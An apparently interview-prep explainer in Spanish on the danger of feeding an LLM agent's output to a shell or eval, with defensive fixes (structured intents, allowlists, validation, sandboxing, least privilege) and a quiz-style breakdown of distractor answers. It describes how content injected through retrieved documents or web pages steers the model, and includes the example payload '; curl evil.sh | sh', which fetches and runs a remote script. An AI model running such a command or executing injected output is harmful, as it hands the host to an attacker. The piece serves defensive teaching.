La salida de un agente LLM se pasa a un shell/`eval` para ejecutar comandos. ¿Cuál es el riesgo y la solución?

Alguien conectó un agente de forma que todo lo que produce el LLM se entrega directamente a os.system, a un shell o a eval. Parece cómodo — el modelo «sabe» qué comando ejecutar. También es una vía directa a la ejecución remota de código.

Por qué es peligroso

La salida del modelo no es un dato de confianza. La moldea todo lo que entró en su contexto: el mensaje del usuario, un documento recuperado, una página web descargada. Un atacante que pueda influir en cualquiera de ellos puede dirigir la cadena generada. En el momento en que esa cadena llega a un shell o a eval, tienes una inyección de comandos — el modelo se convierte en un delegado confundido que redacta la carga del atacante por él. OWASP lo llama manejo inadecuado (inseguro) de la salida: confiar en la salida del modelo como si fuera código o marcado seguro.

Una sola entrada manipulada como ; curl evil.sh | sh colada en el razonamiento del modelo, y has cedido el host.

La solución: tratar la salida como no confiable

• Lista blanca de intenciones, no de cadenas. Haz que el modelo emita una intención estructurada (p. ej. JSON: {"action": "restart_service", "name": "nginx"}) y asígnala a un pequeño conjunto de funciones parametrizadas preescritas. Nunca concatenes el texto del modelo en una línea de comando.
• Valida estrictamente. Comprueba la acción contra la lista blanca, valida cada parámetro (tipo, rango, conjunto de caracteres) y rechaza todo lo que no encaje.
• Ejecuta en entorno aislado. Si algo realmente debe ejecutar código, aíslalo: contenedor bloqueado, sin red, privilegios reducidos, límites de recursos, sistema de archivos efímero.
• Mínimo privilegio. Lo que ejecute la acción debe tener solo los permisos mínimos necesarios.

Por qué fallan los distractores

• «La salida es de confianza»: esa es exactamente la suposición que se explota. La salida del modelo está aguas abajo de una entrada no confiable.
• Subir el límite de tokens: los límites de tokens controlan la longitud, no la seguridad. Una carga más larga sigue siendo una carga.
• Registrar y seguir: el registro te da un rastro de la brecha después del hecho; no previene nada.

Qué quieren oír los entrevistadores

Que lo identificas como manejo inadecuado de la salida que conduce a inyección, que te niegas a ejecutar cadenas generadas y que las reemplazas por acciones validadas, en lista blanca, aisladas y con mínimo privilegio.